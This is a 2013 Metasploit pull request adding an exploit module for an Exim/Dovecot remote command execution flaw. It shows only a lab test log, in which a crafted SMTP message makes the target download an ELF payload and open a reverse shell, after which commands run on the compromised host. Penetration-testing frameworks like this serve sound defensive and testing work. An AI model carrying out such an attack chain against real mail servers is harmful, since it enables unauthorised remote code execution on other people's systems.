rapid7/metasploit-framework — pull request #1928 by jvazquez-r7 (2013-06-07 23:01:13+00:00)
Title: Add module for OSVDB 93004 - Exim Dovect exec

Tested on Debian Squeeze:

```
msf exploit(exim4_dovecot_exec) > [*] 192.168.172.213:25 - Starting up our web service on http://192.168.172.1:80/eJNINhwU ...
[*] Using URL: http://192.168.172.1:80/eJNINhwU
[*] 192.168.172.213:25 - Server: 220 debian.localdomain ESMTP Exim 4.72 Fri, 07 Jun 2013 17:57:11 -0500
[*] 192.168.172.213:25 - EHLO: 250-debian.localdomain Hello juans-macbook-pro.local [192.168.172.1]
[*] 192.168.172.213:25 - EHLO: 250-SIZE 52428800
[*] 192.168.172.213:25 - EHLO: 250-PIPELINING
[*] 192.168.172.213:25 - EHLO: 250 HELP
[*] 192.168.172.213:25 - MAIL: 250 OK
[*] 192.168.172.213:25 - RCPT: 250 Accepted
[*] 192.168.172.213:25 - DATA: 354 Enter message, ending with "." on a line by itself
[*] 192.168.172.213:25 - DELIVER: 250 OK id=1Ul5ap-0002c3-24
[*] 192.168.172.213:25 - Waiting for the victim to request the ELF payload...
[*] 192.168.172.213:25 - Sending the payload to the server...
[*] Command shell session 1 opened (192.168.172.1:4444 -> 192.168.172.213:33406) at 2013-06-07 17:57:11 -0500
[*] Server stopped.
[!] This exploit may require manual cleanup of: /tmp/gmoilnzc

msf exploit(exim4_dovecot_exec) > sessions -i 1
[*] Starting interaction with 1...

uname -a
Linux debian 2.6.32-5-686 #1 SMP Fri May 10 08:33:48 UTC 2013 i686 GNU/Linux
id
uid=1000(juan) gid=1000(juan) groups=1000(juan)

```